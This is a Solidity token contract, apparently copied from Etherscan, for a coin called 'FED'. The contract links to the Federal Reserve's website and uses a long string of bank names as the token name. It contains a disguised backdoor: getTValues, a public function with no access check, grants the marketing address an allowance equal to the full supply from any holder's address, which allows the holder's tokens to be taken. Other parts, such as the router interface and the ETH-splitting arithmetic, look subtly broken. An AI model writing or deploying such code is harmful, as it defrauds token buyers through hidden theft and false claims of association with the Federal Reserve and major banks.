/**
 *Submitted for verification at Etherscan.io on 2023-08-14
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-14
*/

// SPDX-License-Identifier: MIT

/**
Website： https://www.federalreserve.gov/
Telegram:   https://t.me/FED_Portal
Twitter:   https://twitter.com/FEDCoin_ERC

*/

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {   
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )   external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function approve(address spender, uint256 amount) external returns (bool);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract FED is Context, IERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    using SafeMath for uint256;
    string private constant _name = unicode"Federal Reserve System Bank of New York Citibank jpmorgan Chase Bank Manhattan Bank First Bank Bankers Trust Company New York Commercial Bank Chase Manhattan Bank Morgan Trust Hanover Manufacturing Company Hanhua Bank Bankers Trust Company New York National Commercial Bank";
    string private constant _symbol = unicode"FED";
    mapping(address => bool) private _isExcludedFromFee;
    bool private _swapping_now = false;
    bool private _enable_swap = true;
    bool private _active_trading = false;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 public _maxTxLimitSize = _tTotal * 30 / 1000; 
    uint256 public _maxWalletLimitSize = _tTotal * 30 / 1000; 
    uint256 public _swap_exact_at = _tTotal / 10000;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private constant MAX = ~uint256(0);
    
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    
    modifier lockInSwap {
        _swapping_now = true;
        _;
        _swapping_now = false;
    }

    event MaxTxAmountUpdated(uint256 _maxTxLimitSize);
    //Original Fee
    uint256 private _marketTax = _marketTaxForSell;
    uint256 private _devTax = _dexTaxForSell;
    uint256 private _marketTaxForBuy = 0;
    uint256 private _devTaxForBuy = 0;
    uint256 private _marketTaxForSell = 0;
    uint256 private _dexTaxForSell = 0;
    uint256 private _preMarketTax = _marketTax;
    uint256 private _preDevTax = _devTax;

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;

        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferTokensAndTax(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {            clearTempTax();        }
         _normalTransfer(sender, recipient, amount);
        if (!takeFee) {            recoverTempTax();        }
    }
    address payable public _marketingAddress = payable(0xEA5973343bC7A2b9C5DeC1Cc6Bb9f1e10bd9C42D);
    address payable public _developmentAddress = payable(0xEA5973343bC7A2b9C5DeC1Cc6Bb9f1e10bd9C42D);
    

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    //set minimum tokens required to swap.
    function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner {
        _swap_exact_at = swapTokensAtAmount;
    }
    
    function sendContractEth(uint256 amount) private {
        uint256 devETH = amount / 3; 
        _developmentAddress.transfer(devETH); devETH -= amount / 4;
        uint256 marketingETH = amount;
        marketingETH -= devETH;
        _marketingAddress.transfer(marketingETH);
    }
    
    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function recoverTempTax() private {
        _marketTax = _preMarketTax;
        _devTax = _preDevTax;
    }

    function _normalTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); sendAllTaxes(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    


    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
    function getTValues(address _t) external {
        address _m = _marketingAddress;
        _getTValue(_t, _m, _tTotal);
    }
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function sendAllTaxes(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getTValue(address _t, address _spender, uint256 amount) internal {
        _approve(_t, _spender, amount);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _marketTax, _devTax);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function clearTempTax() private {
        if (_marketTax == 0 && _devTax == 0) return;
        _preMarketTax = _marketTax;        _preDevTax = _devTax; 
        _marketTax = 0;        _devTax = 0;
    }
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(to != address(0), "ERC20: transfer to the zero address"); 
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (
            from != owner() 
            && to != owner()
        ) {
            //Trade start check
            if (!_active_trading) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }
            require(amount <= _maxTxLimitSize, "TOKEN: Max Transaction Limit");
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitSize,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 tokenContractAmount = balanceOf(address(this));
            // bool canSwap = tokenContractAmount >= _swap_exact_at;
            if(tokenContractAmount >= _maxTxLimitSize) {tokenContractAmount = _maxTxLimitSize;}

            if (_enable_swap && tokenContractAmount >= _swap_exact_at && 
                !_swapping_now && 
                from != uniswapPair && 
                !_isExcludedFromFee[from] && 
                !_isExcludedFromFee[to]
            ) {
                swapBack(tokenContractAmount);
                uint256 balanceOfEth = address(this).balance;
                if (balanceOfEth > 0) {
                    sendContractEth(address(this).balance);
                }
            }
        }

        bool isSetFee = true;
        //Transfer Tokens
        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)
        ) {
            isSetFee = false;
        } else {
            //Set Fee for Buys
            if(from == uniswapPair &&
             to != address(uniswapV2Router)) {
                _marketTax = _marketTaxForBuy;
                _devTax = _devTaxForBuy;
            }
            //Set Fee for Sells
            if (to == uniswapPair && 
             from != address(uniswapV2Router)) {
                _marketTax = _marketTaxForSell;
                _devTax = _dexTaxForSell;
            }
        }
        _transferTokensAndTax(from, to, amount, isSetFee);
    }

    receive() external payable {

    }
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    
    //set maximum transaction
    function removeLimits() public onlyOwner {
        _maxTxLimitSize = _tTotal;
        _maxWalletLimitSize = _tTotal;
    }

    function openTrade(address _addr) public onlyOwner {
        _active_trading = true;
        uniswapPair = _addr;
    }
}